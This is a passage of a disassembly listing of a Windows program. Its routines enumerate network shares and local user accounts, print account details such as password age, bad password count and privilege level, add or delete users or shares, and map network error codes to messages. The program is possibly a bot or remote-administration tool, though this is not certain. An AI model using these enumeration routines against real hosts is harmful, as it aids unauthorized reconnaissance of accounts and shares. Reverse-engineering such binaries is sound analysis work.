					; sub_415B7A+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_415C39
		add	esp, 0Ch


loc_415BEF:				; CODE XREF: sub_415B7A+27j
		test	eax, eax
		jnz	short loc_415BBA


loc_415BF3:				; CODE XREF: sub_415B7A+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4D8044
		push	off_439704[eax*4]
		push	offset dword_439D90
		push	esi
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_415C33
; ---------------------------------------------------------------------------


loc_415C13:				; CODE XREF: sub_415B7A+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D8044
		lea	eax, [eax+eax*2]
		push	off_439700[eax*4]
		push	offset unk_439D6C
		push	esi
		call	sub_417D96
		add	esp, 0Ch


loc_415C33:				; CODE XREF: sub_415B7A+65j
					; sub_415B7A+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C39	proc near		; CODE XREF: sub_415B7A+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_415CA4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_415CA4
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_4184B0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_415CA4
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4C9700
		pop	edi
		leave
		retn
sub_415C39	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CA4	proc near		; CODE XREF: sub_415C39+Ap
					; sub_415C39+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_415CB1
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415CB1:				; CODE XREF: sub_415CA4+9j
		push	ebx
		push	esi
		mov	esi, dword_423164
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CE5	proc near		; CODE XREF: sub_415B7A+20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CA4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CA4
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4C96DC
		pop	esi
		retn
sub_415CE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D08	proc near		; CODE XREF: sub_401AC7+3E06p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_415CA4
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 18h


loc_415D41:				; CODE XREF: sub_415D08+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4C9750
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_415DA4
		cmp	ebx, 0EAh
		jz	short loc_415DA4
		push	ebx
		push	ebx
		call	sub_4164BD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439DF8
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 24h
		jmp	short loc_415E11
; ---------------------------------------------------------------------------


loc_415DA4:				; CODE XREF: sub_415D08+5Dj
					; sub_415D08+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_415E08
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_415DB2:				; CODE XREF: sub_415D08+FCj
		push	dword ptr [esi+10h]
		call	dword_4C96F4	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_415DC9
		mov	eax, offset aNo	; "No"


loc_415DC9:				; CODE XREF: sub_415D08+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_415DB2
		xor	esi, esi


loc_415E08:				; CODE XREF: sub_415D08+A2j
		push	[ebp+var_4]
		call	dword_4C9888


loc_415E11:				; CODE XREF: sub_415D08+9Aj
		cmp	ebx, 0EAh
		jz	loc_415D41
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_415D08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E29	proc near		; CODE XREF: sub_401AC7:loc_405942p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_415ECD
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_415E6B
		dec	eax
		jz	short loc_415E60
		dec	eax
		jnz	short loc_415E86
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_415F6F
		add	esp, 14h
		jmp	short loc_415E82
; ---------------------------------------------------------------------------


loc_415E60:				; CODE XREF: sub_415E29+1Dj
		push	ebx
		push	edi
		call	sub_415F4E
		pop	ecx
		pop	ecx
		jmp	short loc_415E82
; ---------------------------------------------------------------------------


loc_415E6B:				; CODE XREF: sub_415E29+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_415E7F
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_415EF4
		add	esp, 0Ch
		jmp	short loc_415E82
; ---------------------------------------------------------------------------


loc_415E7F:				; CODE XREF: sub_415E29+45j
		push	57h
		pop	eax


loc_415E82:				; CODE XREF: sub_415E29+35j
					; sub_415E29+40j ...
		cmp	eax, edi
		jnz	short loc_415EA6


loc_415E86:				; CODE XREF: sub_415E29+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D8248
		push	off_439704[eax*4]
		push	offset unk_439EB0
		push	esi
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_415EED
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: sub_415E29+5Bj
		push	eax
		call	sub_4164BD
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D8248
		push	off_439700[eax*4]
		push	offset unk_439E80
		push	esi
		call	sub_417D96
		add	esp, 18h
		jmp	short loc_415EED
; ---------------------------------------------------------------------------


loc_415ECD:				; CODE XREF: sub_415E29+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D8248
		lea	eax, [eax+eax*2]
		push	off_439700[eax*4]
		push	offset unk_439E58
		push	esi
		call	sub_417D96
		add	esp, 0Ch


loc_415EED:				; CODE XREF: sub_415E29+7Bj
					; sub_415E29+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415E29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EF4	proc near		; CODE XREF: sub_415E29+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_415CA4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_415CA4
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_415CA4
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4C96E4
		pop	edi
		leave
		retn
sub_415EF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F4E	proc near		; CODE XREF: sub_415E29+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CA4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CA4
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4C96D8
		pop	esi
		retn
sub_415F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F6F	proc near		; CODE XREF: sub_415E29+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_415CA4
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_415CA4
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4C9850
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4162FC
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_416337
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_417D96
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_416088
		dec	eax
		jz	short loc_416081
		dec	eax
		jz	short loc_41607A
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41608D
; ---------------------------------------------------------------------------


loc_41607A:				; CODE XREF: sub_415F6F+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41608D
; ---------------------------------------------------------------------------


loc_416081:				; CODE XREF: sub_415F6F+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41608D
; ---------------------------------------------------------------------------


loc_416088:				; CODE XREF: sub_415F6F+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41608D:				; CODE XREF: sub_415F6F+109j
					; sub_415F6F+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_416328
; ---------------------------------------------------------------------------


loc_4162FC:				; CODE XREF: sub_415F6F+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439ED0
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_408C5D
		add	esp, 20h


loc_416328:				; CODE XREF: sub_415F6F+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_416337
		push	[ebp+var_4]
		call	dword_4C9888


loc_416337:				; CODE XREF: sub_415F6F+40j
					; sub_415F6F+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_415F6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41633D	proc near		; CODE XREF: sub_401AC7+3EA7p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_415CA4
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 18h


loc_41637C:				; CODE XREF: sub_41633D+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4C9768
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4163DD
		cmp	eax, 0EAh
		jz	short loc_4163DD
		push	eax
		push	eax
		call	sub_4164BD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43A0B0
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 24h
		jmp	short loc_416458
; ---------------------------------------------------------------------------


loc_4163DD:				; CODE XREF: sub_41633D+62j
					; sub_41633D+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41646B
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_416458


loc_4163EF:				; CODE XREF: sub_41633D+EDj
		cmp	edi, esi
		jz	short loc_41642E
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4163EF
		jmp	short loc_416458
; ---------------------------------------------------------------------------


loc_41642E:				; CODE XREF: sub_41633D+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43A07C
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 1Ch


loc_416458:				; CODE XREF: sub_41633D+9Ej
					; sub_41633D+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41646B
		push	edi
		call	dword_4C9888
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41646B:				; CODE XREF: sub_41633D+A5j
					; sub_41633D+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41637C
		cmp	edi, esi
		jz	short loc_416483
		push	edi
		call	dword_4C9888


loc_416483:				; CODE XREF: sub_41633D+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41633D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164BD	proc near		; CODE XREF: sub_415B7A+41p
					; sub_415D08+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_41656F
		jz	loc_416568
		cmp	eax, 7Bh
		ja	short loc_416534
		jz	short loc_41652A
		cmp	eax, 5
		jz	short loc_416520
		cmp	eax, 8
		jz	short loc_416516
		cmp	eax, 32h
		jz	short loc_41650C
		cmp	eax, 35h
		jz	short loc_416502
		cmp	eax, 57h
		jnz	loc_4165BE
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416502:				; CODE XREF: sub_4164BD+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_41650C:				; CODE XREF: sub_4164BD+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416516:				; CODE XREF: sub_4164BD+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416520:				; CODE XREF: sub_4164BD+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_41652A:				; CODE XREF: sub_4164BD+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416534:				; CODE XREF: sub_4164BD+1Aj
		sub	eax, 7Ch
		jz	short loc_416561
		sub	eax, 7C8h
		jz	short loc_41655A
		dec	eax
		jz	short loc_416550
		dec	eax
		jnz	short loc_4165BE
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416550:				; CODE XREF: sub_4164BD+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_41655A:				; CODE XREF: sub_4164BD+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_416561:				; CODE XREF: sub_4164BD+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_416568:				; CODE XREF: sub_4164BD+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_41656F:				; CODE XREF: sub_4164BD+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_4165A8
		jz	short loc_4165A1
		sub	eax, 8ADh
		jz	short loc_4165D3
		dec	eax
		dec	eax
		jz	short loc_41659A
		dec	eax
		jz	short loc_416593
		dec	eax
		dec	eax
		jnz	short loc_4165BE
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_416593:				; CODE XREF: sub_4164BD+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_41659A:				; CODE XREF: sub_4164BD+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165A1:				; CODE XREF: sub_4164BD+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165A8:				; CODE XREF: sub_4164BD+B9j
		sub	eax, 8CAh
		jz	short loc_4165DA
		sub	eax, 17h
		jz	short loc_4165D3
		sub	eax, 25h
		jz	short loc_4165CC
		sub	eax, 29h
		jz	short loc_4165C5


loc_4165BE:				; CODE XREF: sub_4164BD+35j
					; sub_4164BD+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165C5:				; CODE XREF: sub_4164BD+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165CC:				; CODE XREF: sub_4164BD+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165D3:				; CODE XREF: sub_4164BD+C2j
					; sub_4164BD+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165DA:				; CODE XREF: sub_4164BD+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_4165DF:				; CODE XREF: sub_4164BD+40j
					; sub_4164BD+4Aj ...
		push	offset dword_4D7FE8
		call	sub_417D96
		pop	ecx
		mov	eax, offset dword_4D7FE8
		pop	ecx
		retn
sub_4164BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165F1	proc near		; CODE XREF: sub_401AC7+3EEDp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_419B84
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4230C0	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_419B84
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_419B67
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4C980C
		test	eax, eax
		jnz	short loc_416681
		mov	esi, offset dword_4D7DE4
		push	offset unk_43A3E4
		push	esi
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4166AA
; ---------------------------------------------------------------------------


loc_416681:				; CODE XREF: sub_4165F1+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4164BD
		pop	ecx
